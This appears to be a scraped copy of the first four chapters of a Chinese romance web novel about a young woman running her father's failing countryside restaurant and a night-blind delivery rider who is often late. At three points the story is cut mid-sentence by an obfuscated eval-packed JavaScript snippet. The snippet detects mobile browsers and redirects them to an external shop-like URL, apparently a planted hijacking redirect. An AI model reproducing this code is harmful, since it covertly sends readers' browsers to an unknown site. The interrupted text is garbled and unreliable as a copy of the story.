《你超时了》 1. 1 “请问你们是怎么做饭的?我点的鲫鱼汤,汤底竟然黏住了,这能吃吗?” 盛夏天里,顾客的抱怨声顺着电话传来。 陶姜忙放下手中菜刀,走出厨房,连连道歉:“不好意思,因为您那单的骑手超时了,所以才影响到了饭菜口感。” 说着,陶姜来到前台的电脑前,看见配送骑手的名字。 景逸。 这是陶姜第三次为景逸处理差评。 顾客十二点零六分下的单,他的送达时间却在一点半。 “那我不管,骑手超时是骑手的事,你怎么给我解决?” “您看这样行不行。”陶姜放低姿态,温声细语,“您下次点单备注一下,我给您赠菜——” “还要拖到下次?!”顾客发出尖叫,“你等着,咱们差评见,我还要把你挂到抖音,让大家避雷你的店!” “……” 三分钟后。 陶姜不仅全额退款,还承诺下次会赠送店里最昂贵的招牌菜,顾客才勉为其难答应,挂断电话。 顾客的火气熄灭了,陶姜的却燃了起来。她从平台上找到景逸的电话,势必要好好跟他理论一番。 每一次,他作为一个骑手,来无影去无踪,倒潇洒了;可陶姜的店跑不掉,永远在这里,替他承受了顾客的怒火。 陶姜认为,一次两次,可以解释为他是新人,业务不熟练,她便忍了。可事不过三。 现在,她忍无可忍。 她输入景逸的号码,刚要拨出,平台的一则消息打断了她。 「您有一条新的订单,请及时处理。」 陶姜停下动作,随即看见了顾客的备注。 「十万火急!老板看见后请快点帮我出餐,骑手小哥也请快一点送,不然待会可能要开会,打工人就吃不上饭了!谢谢谢谢!」 “……” 挣扎两秒,陶姜放下手机,觉得自己还是不该浪费时间在口舌之争上,重新回去握住冰冷的菜刀。 可她切菜的动作,却一点点慢了下来。 突然切到手指,陶姜发出吸气声,菜刀落回案板的声音格外响亮,陶爸听见后,忙掀开厨房帘子。 “快去处理一下,这单我来做。” “对不起,老爸。”陶姜愧疚道。 她是单亲家庭,从小和老爸相依为命。老爸从没有亏待过她,为了给她更好的生活,很早就开始创业。 那时,他们还住在乡下,陶爸白手起家,经营着一家店面不大、生意却红红火火的小饭馆。 后来,他有了积蓄,听闻城市郊区即将打造新旅游区,便想以小博大,在郊区开了这家叫做“陶然山庄”的农家乐。 不料开发商半途跑路,所有跟新旅游区相关的计划,都被迫搁置。 已经入驻的商家纷纷撤退,零星几家因为投入的成本太大,根本不敢放手。“陶然山庄”强撑到现在,连下个季度的租金都快付不起了。 陶爸为了凑钱,经常需要出去兼职。这个关头,陶姜不想给他添任何麻烦。 “不用自责,你已经帮了老爸很多。”陶爸安慰道,“你上线外卖后,店里的营业额一直在增长,要不是你,老爸的情况还要更糟呢。” 可我没能力帮你分担更多,陶姜咽下这句话,默默去给手指消毒。 郊区偏僻,人迹罕至,陶姜清楚市中心的人不可能只为了他们几家店来到这里,在前一周尝试开放了外卖业务,做周边零散住户的生意。 尽管她设置了较大额的满减折扣,减免了配送费,也在一些短视频平台投流宣传,可还是收效甚微。 陶姜不禁在脑海里琢磨其它的法子,贴好创可贴,来到前台。 说来也巧,景逸取餐的那几次,陶姜都在后厨忙碌,根本没机会看到这人长什么样子—— “你好,取餐号十六,谢谢。” 陶姜瞬间回神。 只见面前的男人一手撩开店门帘子,一手取下头盔,气定神闲地走进来。 他头发不服帖地高高翘起,又卷又乱,眉目昳丽,神采飞扬。 陶姜顿了顿,替他找出十六号的外卖,男人自然地伸出手,她却拎着包装袋,往后一退。 景逸:“?” “又有顾客打电话投诉你了。”陶姜面无表情,一字一顿,“景逸。” 她不擅长发火,何况那点火已经被郁闷打散,只好认认真真叮嘱:“请你这次一定要及时送达,注意好配送时间和订单顺序,别忘了看顾客的备注——” 她把餐交到对方手中。 “谢谢配合。” 话音刚落,景逸如陶姜想象中的那般“恶劣”,只是朝她打了个响指,示意听到,就转身离开。 陶姜替他祈祷,这一单可一定要顺顺利利。 但怕什么来什么,二十分钟之后,陶姜接到一个熟悉的电话号,听到景逸的声音。 “你好。” “……我很不好。”陶姜手指的伤口在疼,她问,“发生什么了?” “我的餐不见了,应该是被偷了。”景逸问,“能不能麻烦你重做一份?我来买单。” 陶姜不想提醒他,如果是这种情况,不需要他来买单,可以上报平台。她只说了一个字。 “能。” 听到回答,景逸飞快地说了一句谢谢,把电话挂了。 陶姜找出十六号的单子,准备到后厨做餐。但顾忌她的手伤,陶爸坚持没让她来,推她到前台休息。 这大概是陶姜近阶段最清闲的时光了,店里没有客人,外卖也不需要她做。她感到不适应,便埋头在电脑上整理最近的财务报表。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823606|191061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没过几分钟,陶姜听见一阵由远及近的引擎声,在院子里响起。下一秒,帘子就被掀开。 陶姜皱眉看着他出现——阳光灿灿,给景逸的卷发镀了一层金,他甚至还有心情在小声地哼着歌。 “十六号。”景逸在她面前停下,说,“谢谢。” “还没好。”陶姜漠不关心地低头,盯着电脑上的数字,“你来太快了,还是先送其它单子吧。” 景逸道:“没有其它单子了,就这一个。” 陶姜重新抬头,准备起身替他问问十六号还需要多久,突然,她止住脚步,道:“你应该去市中心,那里单子更多,何必勉强在我们这个小地方?” 像是没听出她话里隐含的刺,景逸用下巴指了指院子的方向,毫无顾忌地回答:“不行,中心区禁摩。” 陶姜跟着看过去,这才发现院子里还停着一辆红色的摩托车。 她不懂机车,看了一眼就收回,随口道:“你开摩托车出来送外卖?不怕一天跑的不够油钱烧的。” “哦,没办法。”景逸竟然赞同地点点头,解释说,“我只有这一辆车。” 说话间,他仍旧望着院子的方向,左耳的耳钉朝着陶姜不着调地闪了一下,陶姜立刻移开目光。 “现在就业环境不好。”景逸转回头,对陶姜道,“我能找到一份工作,已经不错了。” 这话让陶姜深有感触。 她没再说别的,走到后厨帮陶爸打下手,缩短出餐的时间。 等忙完,陶姜回到前台才发现,景逸没有待在吹着空调的店里,而是站在院子的银杏树下。 三十来度的高温,即使有阴凉地的庇佑,他还是很明显地出了一层汗,皮肤发红,瞧着滚烫。 太热了,空气都微微扭曲起来,压得他蓬松的卷发开始下塌,似乎不能再那么意气。 可他一边吹自己的头发,一边懒洋洋地踩碎地上的叶子,也没玩手机,就那么笔直站着。 陶姜一踏出店门,就被太阳热烈的意志征服了,实在太晒,也不知景逸这十多分钟是怎么等过来的。 她把餐交给景逸后,犹豫了一下,突然说:“你等一等。” 景逸正疑惑地看着她,陶姜补充道:“你先不要走,我很快回来。” 景逸礼貌地道:“好的,谢谢。” “……” 你谢什么? 陶姜一阵无言,半分钟后,她顶着烈日,再次快步走出门。 她手里多出了两瓶水,瓶身结出大片细密的水珠,冰冷又解渴。 景逸接过来,问:“两瓶水是给顾客的补偿吗?” “一瓶是的。”陶姜说。 景逸点点头。 “另一瓶是给你的。”陶姜继续道,见景逸猛地抬头看她,笑了笑,“工作辛苦了。” 2. 2 次日,陶姜醒来,缓慢摸索到枕边的手机,看见物业刚刚在业主群里发布了一则可能会停水停电的通知。 群里零星的几个商户都在抱怨,这是这个月第几次了。 物业:「反正今天是工作日,你们也卖不出多少东西。」 这话点燃了商户们积攒已久的怨气,让群里瞬间炸开锅。 物业迫不得已,出来解释:「因为专用变压器故障,水管道破裂,我们需要抢修。这也是没办法的事,就不能体谅一下?」 陶姜揉了揉眼睛,走下床,问了一句:「什么时候会停。」 物业:「不确定,随时会停。」 见群里的战况愈演愈烈,陶姜放下手机,走进卫生间快速洗漱起来。 她已经习惯了物业管理的松懈,因为这里满打满算也只有三四家正常营业的店铺,物业对他们并不上心,隔三差五就出点差错。 商户们曾集体抗议过,但没有什么效果,久而久之,双方在群里争吵已算家常便饭。 洗漱完,陶姜熟练地给手电筒充上电,去院子里找出盆开始蓄水。 陶爸喊道:“小姜,你帮老爸去给顾客送一下餐!老爸这里走不开!” “来了。”陶姜匆匆拧紧水龙头。 不是每一次的订单都有骑手接,当遇到这种情况,他们就会自己为顾客送餐。 陶姜掀开厨房帘子,只见油烟轰地腾起,陶爸的人影在灰白的呛雾里晃着,铲声刮着锅底,正在炒辣子。 陶爸肺不好,陶姜不禁迟疑了一下,下一秒外卖就被塞进手里,陶爸仓促推她:“快去吧,别被熏到了!” “知道了。”陶姜帮他把油烟机打开,叮嘱,“不可以偷偷关,费不了多少电。” 说完,她走出去,把外卖挂上电动车。 夏天的清晨,空气里依旧没有多少凉意,日头滚烫,烤干空旷的街道。 陶姜想,自己残余的水分都快被蒸发完了。她强撑着打起精神,用最快的速度把餐交到顾客手中。 顾客收到后,连声感谢,并夸赞店中的口味。陶姜听完,心情稍微上扬,步伐轻快地走下楼,骑上电动车。 她没忍住小声哼起歌来。 又想,这首歌,跟昨天景逸哼的,好像是同一首? 陶姜分神了一瞬,等反应过来,就见旁边的灌木丛里窜出只猫。 距离太近,她来不及刹车,只能狠狠打方向。猫成功避开她,陶姜却连人带车,扑通摔到了地上。 “……” 陶姜懵了。 突然听见一声笑。 她撩起汗湿的头发,狼狈地抬头。 红色摩托车停在不远处的岔路口上,景逸的一条长腿轻松地从车身上跨下。 他穿着黑色背心,工装裤,正懒洋洋地盯着她,随即单膝抵在地面,弯腰低头,轻声唤着什么。 受惊的猫不知在哪躲了一会,重新跑出来,尾巴高高翘起,脑袋蹭了蹭景逸的手臂。 陶姜还在地上坐着,她不可置信地问:“你的猫?” “可能吗?”景逸抬起头,眼里还有没散去的笑意。 他朝她敞开手心,指尖勾着一个塑料袋。 猫是在蹭里面那个饭团。 “小家伙,别急。”景逸挠了挠猫下巴,“这是哥哥的早饭,只可以分你一点。” 陶姜不知说什么好,她艰难地站起身,扶起车。 但车轮胎扎进了一小块硬石,陶姜反复试了好几次,都无法发动。 她掌心一片鲜红和刺痛,不免丧气地踢了踢干瘪的后轮。 “需要帮忙吗?” 景逸的声音在背后响起。 他不知什么时候走过来的,陶姜吓了一跳。 她稳住心神,回头说:“需要的,谢谢。” “别跟着我了。”那只猫还在蹭景逸的裤腿,景逸一边蹲下看车,一边用手随意地推了推猫脑袋,说,“去陪姐姐吧。” 猫朝着姐姐走过来了。 陶姜低头看它,心中隐隐有些期待。 距离陶姜还有半米,它突然坐下,打了个哈欠,开始舔毛。 陶姜:“?” 她觉得不公平。 没忍住,陶姜蹙眉,严肃地跟它讲道理:“是我才救了你的命的。” 背后又传来一声笑,陶姜窘迫地退了一步,回头看见,景逸单膝点地,蹲在她车前,笑得直不起腰。 对上她的目光,他道:“哦,你们继续。” “……” 陶姜若无其事地问:“车怎么样了?” “可以修,需要工具。”景逸唇角微勾,“附近有没有车铺?” “有是有,但离着三公里,比较远。” 景逸随即起身:“我载你。” 陶姜微愣,想到这确实是一个好办法,便点点头:“谢谢。不过我手脏了,你有没有水?我想洗一下。” “没有。”景逸已经戴上头盔,头一偏,示意她,“跟上。” “会弄脏你的……” “不介意,上。” 陶姜跟着他来到摩托车前,犹豫地坐了上去。 她以前也坐过她爸的摩托车,知道乘坐的人必须要紧紧抱住前面人的腰,不然很可能会被甩下去。 陶姜慢吞吞地将手搭在景逸腰间,她很惜命,最终用力,双手收紧,血迹似乎也跟着陷进景逸的衣服当中。 伤口被牵动,传来刺痛的瞬间,摩托车猛地向前冲去。 陶姜眼前一晃,视野被扭曲成一道飞快消失的直线。 景逸吹了声口哨,笑喊:“再见!” 陶姜立即反应过来,他是在跟那只猫打招呼。 她将脸埋下去,贴在景逸的脊背上。他的体温源源不断地传递到她身上,她的心跳却独自积攒,剧烈得快把整个人吞没。 没过两分钟,陶姜便忍不住:“你好,请问咱们是不是超速了?能慢点吗?” 狂风把她的声音吹散,景逸没有回答。 陶姜微微仰起脸,毒辣的日头,让天上一片炽白,她的视线好像被热浪袭击,一阵模糊。 陶姜再次抬高声音:“景逸,你是不是超速了?” 依然没得到回复。 陶姜想,她再说最后一次,他如果还是不理她,她就掐他。 陶姜:“景逸,你——” 摩托车突然极速放缓。 陶姜松了口气。 然后彻底停下。 陶姜:“?” 她生出不详的预感,顾不得这短暂的两分钟让她四肢绵软、心跳加速,从景逸背后探出头。 五六米开外,两个交警手臂平伸,手掌朝向他们,正在做停车手势。 其中一个交警走过来,严肃道。 “你们知道刚才开多快吗?已经超速了。” “还有,你的车涉及非法改装,乘坐人员未按规定佩戴安全头盔。” “请熄火,靠边接受检查。” 陶姜:“……” 景逸:“。” - 处理结果是罚款八百。 等交警走后,陶姜靠在一旁的树上,没什么力气地说:“抱歉,这个钱我a给你吧。” 景逸头也不抬:“不需要。” 他手机上的画面没避人,陶姜清楚地看见,他已经眼也不眨地把罚款缴上了。 陶姜也拿出手机:“不用客气,我把我的那份转你。” 话说到这个地步,景逸没再坚持,打开微信上的二微码。 陶姜扫完才发现,那不是收款码,而是加好友用的。 她看着景逸,景逸一脸坦荡。 陶姜低下头,发送好友申请。 四百不太好听,她转了五百,对方很欠地给她发了一个大拇指的表情,但没有收款。 陶姜不知道他什么意思,索性不再去想。 尽管发生了一点小插曲,景逸还是载着她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823607|191061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买完工具,折返帮她修好了电动车。 ——谢天谢地,电动车当时翻倒在了路边,又被繁茂的灌木丛遮挡,远远望去,几乎不会有人注意。 所以他们回来时,它还安稳地躺在原地。 临走前,陶姜郑重其事地说:“谢谢你。” 景逸没理她,眼神都是飘的,在灌木丛前俯身,找刚才“碰瓷”的猫。 陶姜便骑着电动车,先行一步。 她没意识地哼着歌回到了店中,看见牌匾上“陶然山庄”四个大字,才后知后觉想。 她好像又和景逸哼了同一首歌。 真的很洗脑。 陶姜收拢心思,处理完受伤的左手,去厨房干活。 逢工作日,外卖的数量骤减,店里也只来了两桌客人。 到晚上六点半,附近的商店开始断水断电,网络也没有了,陶姜果断在外卖平台上下线。 只剩下一单已经做好的外卖,等骑手来拿就行。 陶姜没看骑手名字,但多半是景逸。她在黑漆漆的店里等了一会,才想起来去拿手电筒,就在这时,院子里传来砰一声。 动静巨大,陶姜忙掀开帘子,看见那辆红色的摩托车侧翻在地,景逸跟着摔倒,又踉跄站起。 他戴着头盔,可能是摔车的过程中位移,遮挡了视野,摇摇晃晃走了两步,竟然自己绊到自己,眼见着又要摔—— 陶姜及时跑过去,用肩膀撑住他。 他人高马大,骤然砸下来,就像块巨石。 这一下几乎用尽了陶姜所有力气,她蹙眉道:“你快站起来。” 可只听见景逸粗重的喘息声。 陶姜坚持了几秒,意识到景逸大概没力气了,认命地咬咬牙,把景逸一条手臂搭在自己肩头,架着他往店里走去。 陶爸外出去市中心进货,此时店里只剩陶姜一个人。她强撑着来到店门口,提醒景逸:“台阶。” 下一秒,陶姜右脚一痛,她低下头,有些气恼地道:“让你踩台阶,不是踩我。” 话没说完,左脚也挨了一下。 陶姜没辙了。 终于来到门前,然而,景逸好像摔得神志不清,连近在眼前的门都看不清楚,脑袋直愣愣就往上面撞了上去。 陶姜吓了一跳,赶忙拽他回来,还没两秒,他头一歪,竟然又要撞门。 陶姜下意识拿手挡了一下,结果,他戴着头盔,头没有事,她的手却压到白天的伤口,一时痛得眼泪都快掉下来。 陶姜忍不住问:“景逸,你来碰瓷的吗?” 没人回应。 景逸像个蔫吧的向日葵,脑袋分不清哪一面才是太阳。陶姜气得不想为他指认,想把他连株给拔了。 见实在拖不进去,陶姜索性让他坐在门口,回屋去拿医药箱。 再出来时,景逸已经把头盔取了,额发湿透,垂下头大口喘息,仿佛惊魂未定。 他手臂上擦伤了好几处,在夜色下仍触目惊心。 陶姜替他将棉签蘸好碘伏,递过去:“你自己消一下毒。” “……” 以为他没听清,陶姜加重语气,更为具体地陈述:“你拿一下棉签。” “……” 陶姜在这时发现了不对劲。 夏季,天黑得晚,这会虽然是傍晚,但依然可以视物——至少,摆在自己眼前的一根棉签,是可以看得很清楚的。 但景逸好像在专注辨认她的声音。 他的头偏了偏,眼睛直勾勾看向的,不是那根棉签,而是不远处,银杏树下飘落的一枚叶子。 陶姜顺着他的目光看向那枚叶子,一个荒唐的猜测在心里升起。 她不由在他眼前挥了挥手,确认他毫无反应,不敢相信地问:“景逸,你是不是有夜盲症?” 景逸的眼睫颤了一下。 他口袋里,手机的提示音恰到好处地响起。 「您有一个订单即将超时,请尽快送达!」 3. 3 摆在陶姜面前的是一道难题。 原本,她只需要一边看店,一边等陶爸回家;现在,店里的外卖还没送出去,外卖员已经负伤。 景逸今天穿的是一件黑色贴身背心,手臂肌肉线条贲张,却从小臂至肘间划破一大片,稍微一动,就闹得血肉模糊。 陶姜站得腿麻,缓慢蹲下,思索该怎么办。 “抱歉。”景逸终于出声,询问道,“可以帮我看一下手机在哪吗?” 他在身上摸索着,兴许是怕牵扯伤口而动作僵硬,试了几次都没找到。 因为手机已经掉在他腿边了。陶姜手一伸,直接塞进他怀里。 手机摔得满是裂痕,勉强能够开机,景逸拿到后,首先打开手电筒模式。 光亮起来,他黑漆漆的眼睛终于开始聚焦。 “不好意思,因为车灯突然灭了。”景逸牵了一下唇角,淡笑解释,“我看不清路。” 汗从他额发间滑下。 “给你添麻烦了。” 陶姜正要说话,就见景逸微微倾身,拿起医药箱里的碘伏,单手旋开瓶盖,将里面的液体尽数泼在手臂伤口之上。 褐黄色的碘伏和鲜红的血液交错着流下来,甚至还带出了些许石子和碎肉,光一照,更显骇目。 陶姜眼前一黑,突然有点晕血,她手脚并用、以一个狼狈的姿势从地上爬起,道:“你别勉强自己……不然,你就留在这帮忙看店吧,我去送餐。” 不等景逸说话,陶姜两条腿打颤,小跑着进了店内。她指尖挂上打包好的外卖和一串电动车钥匙,末了,不忘找出充好电的手电筒。 陶姜迈过门槛,衣摆却被人紧紧抓住。 “不需要。”景逸道,“我没问题。” 陶姜不由飞快地扫了他一眼。 他手臂上的伤已经被潦草地处理好,绷带厚厚缠住,看不出伤势。 陶姜:“可你这个夜……夜晚的情况,万一路上出什么意外就不好了。” “夜盲症又怎么了?”景逸突然急道,“我还能一辈子晚上不出门吗?” “不是这个意思。”陶姜挣扎着往下走,无奈景逸的力气太大,她始终踩不到台阶,只能尝试进行一些安抚。 “我是怕你把外卖摔坏了还要赔钱,我来摔的话,你就不用赔了。” 景逸:“我之前晚上也是正常接单,哪次因为摔餐赔过钱?” “……” 说不过他。 陶姜败下阵来:“好吧,那你带我去看看你的车灯,如果能修好,你可以去送餐。” 景逸这才松开她的衣角。 两人一前一后,朝那辆翻倒的摩托车走去,景逸将车扶起,陶姜用手电筒照着,细细观察。 以前陶爸也有一辆二手的摩托车,三天两头就出问题。陶爸在维修时,陶姜会帮忙打下手,时间久了,她对摩托车的一些小毛病也称得上熟悉。 陶姜看了一会,主动开口:“是不是保险丝烧了?” 闻言,景逸抓了抓头发,啧道:“……对,但我没拿替换的。” 他踢了一下地上的石子,估计腿上也有伤,石子只勉强蹦出几厘米远,他反倒疼得闷哼一声。 在景逸的视线飘过来之前,陶姜及时移开眼,忍笑道:“我家应该还有,你在这里等我一下,我回去取。” “谢谢。”景逸明显释然。 保险丝就放在前台的柜子里。这会天色发昏,陶姜把手电筒留给景逸后,竟然也开始看不清,她用手机照了半天,才将东西找到。 陶姜走回院子,远远地看到景逸背对着她,正在打电话。 不知那头说了什么,景逸猛地抬高声音:“还要说几次,我不会再回家——” 他侧了个身,跟陶姜对上视线,眼里还有未散去的戾气与怒意,表情不善。 陶姜蓦然僵在原地。 下一秒,景逸挂了电话,朝她走来。 他伸出手,不知是想接那份外卖还是保险丝。 两样东西,陶姜都不放心交给他,尤其视线触及到那层泛红的绷带时,脚步徒然加快,径直走向摩托车。 确认完新旧保险丝的安培数都一样,陶姜自顾自开始更换。 景逸捏着手电筒走近,帮她打光,过了一会,语气不明地问:“抱歉,吓到你了?” “嗯?还好。”陶姜手上动作不停,不太专心地回答,“你刚才像电视剧里一手揍一个的暴力男。” “我平常不这样的。” “哦。” “是家里的事。” “行。” 景逸还要解释,陶姜顺着他的话问:“你和家里人关系不好?” “不好。”景逸臭着脸,一缕卷毛不高兴地耷拉下来。 他这副模样挺搞笑的,陶姜分出神仔细看了两眼,决定以后要在伤心的时候想起来。她继续问:“为什么关系不好?” “因为——”景逸顿了顿,语气莫名有了一丝上扬,“他们在外面欠了很多债。” 陶姜:“?” 她手上的动作彻底停了,看着景逸。 他竟然还有这样的身世。 景逸道:“刚才的电话,就是他们打过来催我帮他们还债,我说自己只剩吃饭的钱了,他们让我把吃饭的钱也转过来。” “啊。”陶姜没忍住,“有点过分。” 景逸也蹙眉:“我不想管他们,可良心过不去。在郊区送餐,其实也是为了避开他们。” 陶姜:“你每个月都给他们打钱吗?” “当然。”景逸把弄得乱糟糟的刘海拨下来,挡住脸,又揉了揉眼睛、吸了吸鼻子,“我希望让自己快点成长起来,所以,这单外卖,你一定要让我——” “你爸妈为什么会欠这么多债呀?”陶姜忧心忡忡地问。 她回头要跟陶爸说,让他也避开类似的坑。 “被诈骗了。”景逸冷静道,“全民反诈,从我做起。” “……” 挺不幸的。 陶姜换完保险丝,起身后退:“唉,你也别太难过了,天无绝人之路。” 景逸:“那这单外卖——” 陶姜把餐递给他,语气温和:“你去送吧,路上一定要注意安全。” 景逸立刻接过:“谢谢。” 他不再多说,飞快跨上摩托车,转动油门离开。 轰隆隆的引擎声渐远,修好的车灯在视野里退化成一个模糊的光点。 陶姜看到送自家餐的外卖员这么积极,也放心了。 她刚动了一步,就察觉脚下有个硬邦邦的东西,捡起后发现是景逸的手机,被摔得四分五裂,已经不能开机。 刚才景逸一直用的是陶姜的手电筒,把手电筒还给她后,就开了摩托车的大灯。手机暂时没派上用场,兴许被他遗忘了。 陶姜把手机收起来,准备等他再来的时候还给他。 她去舀了一盆白天接好的水,放在店门前,又整齐地摆出刷子、清洁液,开始清洗景逸留下的血迹。 陶姜左手拿着手电筒,右手使劲用刷子蹭地,惨白的灯光照着黏稠又干涸的血液,这场景像凶杀案现场——她刚杀完人,正在毁尸灭迹什么的。 太恐怖了,陶姜嗓子发干,心乱如麻,可软毛的刷子怎么都擦不干净,反而让血弄了陶姜一手。 陶姜换了个清洁球继续,费了九牛二虎之力才清理完。她松了口气,把医药箱和工具一一放回去,突然间,眼睛被闪了一下。 陶姜站在门口的台阶上,朝外面望去。 一束明亮的光在不远处闪着,陶姜起先以为那是陶爸的车灯,高兴地跑出去两步,又猛地停下。 不,不是车灯,车移动的速度不会那么慢。 也不是手电筒,因为也没有那么轻盈,甚至是缓慢而笨重的,就像在沿途观察着什么一样。 寒意窜上陶姜的心头。 她脑海里飘过无数本恐怖小说和法治新闻,后悔自己没锁大门,赶紧快步走了过去。 然而走近时,才惊觉自己忘关手电筒,外面那阵光的主人似有察觉,笔直地向她走来。 陶姜吓得失声,一边锁门一边快速用手电筒晃对方眼睛,直到听见一个熟悉的声音:“别晃了……我是景逸!” 陶姜停下动作。 景逸推着开着大灯的摩托车,站在三四米外。他一只手挡在眼皮前,表情一言难尽,拧眉看着她。 陶姜哑然道:“你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823608|191061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你干嘛吓人?” 景逸:“我回来找我的手机,你有看见掉在哪了吗?” 所以她刚才看到的来源不明的光,是他一边推着摩托车,一边在找自己的手机。 陶姜勉强平复心跳,把口袋里的手机递给他:“我捡到了。” 后者接过,道了声谢。陶姜还是腿软,想快点把门锁上,但景逸一直没走,她忍不住催促:“还有别的事吗?” “有。”景逸道,“打个商量呗,陶然。” 陶姜沉默:“虽然我家叫陶然山庄,但我不叫陶然,我爸也不叫陶然。” “不好意思。”景逸顿了顿,“请问,我可不可以在你家店的空房间住一晚?我付钱。” 陶姜刚要拒绝,景逸又道:“我家房子被抵债,实在没地方可去了。” 想起不久之前他说过的话,陶姜心里闪过一丝同情。 她礼貌地说:“出门右转八百米,那里有一家民宿,慢走不送。” “……” 见她态度坚定,景逸没有纠缠,转身离开。 “陶然山庄”其实包含住宿,只是已经好久没人住过,现在又停水停电,收拾起来很麻烦。 而且店中只有陶姜一个人,出于对安全考虑,她不放心让景逸留下。 如果改天他还需要,她就告诉他,可以在这里免费住宿一周,不必给钱。 毕竟那五百块钱,他还没收。 陶姜一边琢磨,一边将门锁上。紧绷的精神放松下来,她坐在店里,昏昏欲睡地等陶爸回家。 渐渐,她意识到陶爸又要很晚才能回来了,只好哈欠连天,慢吞吞拖着脚步回房。 囫囵洗漱完,就倒在床上,沉沉睡去。 - 陶姜做了个噩梦。 梦里,景逸化作一条夜盲的恶龙,为了能在晚上看清路,他把她家的外卖全部抓走,一把火烧上天。 火光帮助恶龙恢复了视力。 最终,恶龙还喷出火焰,把“陶然山庄”给毁了——为了报复陶姜嫌弃他总超时、还不许他住宿。 陶姜生生被吓醒。 她擦了把冷汗,下床走进洗漱间,抬高水龙头时,惊喜地发现有水了,试探地按下开关,电也正常。 陶姜打开手机,让“陶然山庄”在平台上面上线。操作完,她熟练地打开窗户,想喊陶爸,分享这个好消息。 结果听见一阵激烈的争吵声。 “钱不是转你了,怎么又来要?什么意思?” “老陶,咱们老朋友了,请你理解一下,现在市场行情涨了,按合同,你得补清差价。要不……我也很为难啊。” 听到这话,陶姜瞬间清醒。 她胡乱穿上衣服,跑下楼,看见陶爸和那个姓刘的房东站在一起,正据理力争。 陶爸情绪激动,脸色涨红,陶姜急忙拉开他,问清缘由。 昨晚,陶爸凑齐钱,结给刘强下个季度的房租。刘强收下后,现在又找上门,告知他已经涨租,需要补清差价。 陶爸怒道:“哪有你这样做生意的?这价格涨得也太不合理了!” “老陶,现在是你在做生意。”刘强有恃无恐,笑嘻嘻道,“不然,你就搬走吧。” “……” 陶爸险些骂人,又顾忌这是房东,不好把关系闹僵。 陶姜也窝着火,说:“刘叔,我们生意是什么情况你也清楚,这个租金,我们肯定负担不起。” 刘强走了过来:“我看你们店上了外卖,不是挺赚的?” “刘叔你说笑了,外卖才上几天,都还没回本——” 见他越走越近,陶姜不放心地往前站了站,挡在陶爸身前。陶爸刚要拉她,刘强就伸出手来。 他动作太快,令人猝不及防,陶姜身子一僵,但已经来不及了。 有人更快,从后面揪住刘强的衣领。 “怎么了这是?” 来人一头凌乱的卷毛,肩胛骨在薄衬衫下微微凸起,手臂绷直,力气巨大,令刘强窒息。 他右手上的绷带破开来,洇出红色。 刘强挣扎着吐出几个字音。 “不好意思。”景逸松开他,散漫道,“我以为是来闹事的。” 4. 4 刘强一屁股摔在了地上。 他双手护住脖子,喉咙间的憋闷感仿佛挥之不去,喘着粗气,恼羞成怒道:“老陶,这是你找来的人吧?你们是不是故意在这等着我!” 陶爸:“啊?” 陶姜:“刘叔,这边有椅子,您不用坐地上……” 说着,她没忍住朝景逸看了一眼。 景逸不是去了她推荐的民宿吗?大清早的,不好好躺在床上补觉、养伤,怎么神不知鬼不觉跑到这了? 晨光熹微,他右手上的绷带大概自昨天起就没有换过,已经被血染透,格外醒目。 “你们就是在报复我给你们涨租!”刘强吼道。 他攥紧拳头,起身朝景逸脸上砸了过去。 陶姜的手心下意识发汗,变湿,陶爸惊得喊了声“小伙子”。 景逸不闪不避,云淡风轻地接住这拳,借势用力向下一拗。 刘强登时尖叫起来,疼得弯下身子,可惜景逸不仅不留情,还恶劣地持续施压。 刘强扛不住,满头大汗道:“老陶……老陶别看了!赶紧让你的人松手!!” 陶爸道:“不是我的人啊!” 陶爸一头雾水,看向陶姜,陶姜慢慢道:“刘叔,你误会了,他只是我们店的客人。你打了客人,跟他道歉吧。” “我又没打到……啊!” 疼痛感徒然加重,刘强龇牙咧嘴:“对、对不起行了吧!” “听不见。”景逸表情淡淡,手指抓着刘强少得可怜的头发,将他强行调转了一个方向,催促,“再说一遍。” “对不起!!” 景逸这才松开他。 刘强直起身,当发现自己是面对陶家父女道歉时,表情扭曲至极,可又不敢对景逸发作;索性把合同扔在了陶姜脚边,没好气道:“签了吧!大家都是这么过来的。” 陶姜目光下落。 这里沦为烂尾楼初期,凭借当初开发商的宣传声势浩大,吸引了不少人流。 附近的商户们想再观望坚持,可刘强执意要在散场之前多捞一笔是一笔,找各种理由给商户们涨租。 渐渐,越来越多的店关上门。 余光里,陶爸弯下腰,陶姜拦了他一下,捡起合同。 看不懂。 她有些头疼,半年前,陶爸上个季度的租金晚交了两天,刘强也是驱车上门,甩给她一纸合同,说陶爸的行为属于重度违约,需要赔付大额违约金。 